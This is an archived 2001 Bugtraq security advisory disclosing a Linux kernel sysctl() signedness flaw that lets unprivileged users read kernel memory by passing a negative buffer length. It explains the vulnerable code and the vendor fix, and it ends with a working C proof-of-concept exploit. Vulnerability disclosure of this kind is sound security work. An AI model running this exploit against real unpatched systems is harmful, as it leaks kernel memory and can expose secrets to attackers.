Bugtraq mailing list archives
Linux kernel sysctl() vulnerability
From: Chris Evans <chris () SCARY BEASTS ORG>
Date: Fri, 9 Feb 2001 19:38:09 +0000
Hi, OVERVIEW There exists a Linux system call sysctl() which is used to query and modify runtime system settings. Unprivileged users are permitted to query the value of many of these settings. The unprivileged user passes in a buffer location and the length of this buffer. Unfortunately, by specifying a negative buffer length, a user can read pretty arbitrary kernel memory. DISCUSSION OF FLAW Looking at linux/kernel/sysctl.c: sysctl_string() int l, len; ... if (oldval && oldlenp) { if(get_user(len, oldlenp)) return -EFAULT; if (len) { l = strlen(table->data); if (len > l) len = l; if (len >= table->maxlen) len = table->maxlen; if(copy_to_user(oldval, table->data, len)) return -EFAULT; The contents of variable "len" are totally under the control of a malicious user. Since len is declared as signed, a negative value may be used. This bypasses the "len >= table->maxlen" check and copies kernel data to userspace, starting at "table->data". The sysctl.c file contains several signed/unsigned mixups like the above. To exploit this, there are a couple of minor issues. 1) copy_to_user() virtual address space wrap check. A check in the kernel means we need to place the destination user space buffer low in the virtual address space, using mmap(). The default heap location on i386 is too high. 2) The usefulness of this exploit will vary depedending upon if the address of the table->data pointer used is _before_ lots of interesting kernel stuff. On ix86 Linux, this certainly seems to be the case. 3) I have a report that the kernel may be caused to hang using this bug. I haven't investigated. FIX The recent flurry of updated kernels from vendors include a fix for the sysctl() problem. The fix is essentially to use unsigned variables for the lengths. COMMENTS As we see, integer signedness issues seem to be everywhere. Subtle flaws like these are a great concern because they are hard to spot and audits will miss them. Quick hacky demo code of how you might go about playing with this, is appended. Cheers Chris /* Excuse the lack of error checking */ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> #include <unistd.h> #include <linux/unistd.h> #include <linux/sysctl.h> _syscall1(int, _sysctl, struct __sysctl_args *, args); #define BUFLEN 1000000 int main(int argc, const char* argv[]) { struct __sysctl_args args_of_great_doom; int names[2] = { CTL_KERN, KERN_NODENAME }; /* Minus 2 billion - somewhere close to biggest negative int */ int dodgy_len = -2000000000; int fd; char* p_buf; fd = open("/dev/zero", O_RDWR); p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE, fd, 0); memset(p_buf, '\0', BUFLEN); fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777); write(fd, p_buf, BUFLEN); args_of_great_doom.name = names; args_of_great_doom.nlen = 2; args_of_great_doom.oldval = p_buf; args_of_great_doom.oldlenp = &dodgy_len; args_of_great_doom.newval = 0; args_of_great_doom.newlen = 0; _sysctl(&args_of_great_doom); fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777); write(fd, p_buf, BUFLEN); }
Current thread:
- Linux kernel sysctl() vulnerability Chris Evans (Feb 10)
- Re: Linux kernel sysctl() vulnerability Florian Weimer (Feb 10)
- Re: Linux kernel sysctl() vulnerability Ryan W. Maple (Feb 10)
- Re: Linux kernel sysctl() vulnerability Aleksander Kamil Modzelewski (Feb 10)
- Re: Linux kernel sysctl() vulnerability Greg KH (Feb 10)
- Re: Linux kernel sysctl() vulnerability Joost Pol2 (Feb 12)
- Re: Linux kernel sysctl() vulnerability Stephen White (Feb 12)
- Re: Linux kernel sysctl() vulnerability Florian Weimer (Feb 10)